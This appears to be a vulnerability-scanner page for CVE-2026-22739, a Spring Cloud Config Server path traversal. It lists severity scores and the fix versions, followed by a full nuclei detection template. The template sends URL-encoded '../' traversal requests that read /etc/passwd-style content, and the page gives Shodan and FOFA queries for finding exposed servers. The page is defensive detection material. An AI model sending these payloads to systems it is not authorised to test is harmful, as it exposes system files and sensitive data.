Spring Cloud Config Server - Path Traversal

highseverity

8.6CVSS score

1.2%likelihood of exploitation, next 30 days

70%of all CVEs are less likely

Readycheck to confirm it

Spring Cloud 3.1.x < 3.1.13, 4.1.x < 4.1.9, 4.2.x < 4.2.3, 4.3.x < 4.3.2, and 5.0.x < 5.0.2 contain a path traversal caused by profile parameter substitution in Config Server using native file system backend, letting attackers access files outside configured directories, exploit requires crafted request.

Impact

Attackers can access arbitrary files outside intended directories, potentially exposing sensitive information

Fix

"Upgrade to versions 3.1.13, 4.1.9, 4.2.3, 4.3.2, or 5.0.2 or later.

How to confirm it

Send: GET {{BaseURL}}/application/default
Positive when: contains "propertySources" and "\"profiles\"" and "\"label\""
Send: GET {{BaseURL}}/application/..%2F..%2F..%2F..%2F..%2Fetc ; GET {{BaseURL}}/application/..%2F..%2F..%2F..%2F..%2Fetc/main ; GET {{BaseURL}}/application/..%252F..%252F..%252F..%252F..%252Fetc ; GET {{BaseURL}}/application/default%2C..%2F..%2F..%2F..%2F..%2Fetc
Positive when: matches /"root":"x:0:0:/ AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2026-22739 -u <target>

The full check

id: CVE-2026-22739

info:
  name: Spring Cloud Config Server - Path Traversal
  author: 0x_Akoko,vulnh0lic
  severity: high
  description: |
    Spring Cloud 3.1.x < 3.1.13, 4.1.x < 4.1.9, 4.2.x < 4.2.3, 4.3.x < 4.3.2, and 5.0.x < 5.0.2 contain a path traversal caused by profile parameter substitution in Config Server using native file system backend, letting attackers access files outside configured directories, exploit requires crafted request.
  impact: |
    Attackers can access arbitrary files outside intended directories, potentially exposing sensitive information
  remediation: |
    "Upgrade to versions 3.1.13, 4.1.9, 4.2.3, 4.3.2, or 5.0.2 or later.
  reference:
    - https://spring.io/security/cve-2026-22739
    - https://spring.io/blog/2026/03/23/spring-cloud-config-5-0-2-4-3-2-4-2-6-4-1-9-3-1-13-released
    - https://nvd.nist.gov/vuln/detail/CVE-2026-22739
    - https://www.herodevs.com/vulnerability-directory/cve-2026-22739
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
    cvss-score: 8.6
    cve-id: CVE-2026-22739
    epss-score: 0.01247
    epss-percentile: 0.69569
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 5
    vendor: vmware
    product: spring_cloud_config
    shodan-query: http.html:"propertySources"
    fofa-query: body="propertySources" && body="profiles" && body="label"
  tags: cve,cve2026,spring,spring-cloud,config-server,lfi,traversal

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/application/default"

    matchers:
      - type: word
        part: body
        words:
          - "propertySources"
          - '"profiles"'
          - '"label"'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/application/..%2F..%2F..%2F..%2F..%2Fetc"
      - "{{BaseURL}}/application/..%2F..%2F..%2F..%2F..%2Fetc/main"
      - "{{BaseURL}}/application/..%252F..%252F..%252F..%252F..%252Fetc"
      - "{{BaseURL}}/application/default%2C..%2F..%2F..%2F..%2F..%2Fetc"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "\"root\":\"x:0:0:"
          - "root:.*:0:0"
        condition: or

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from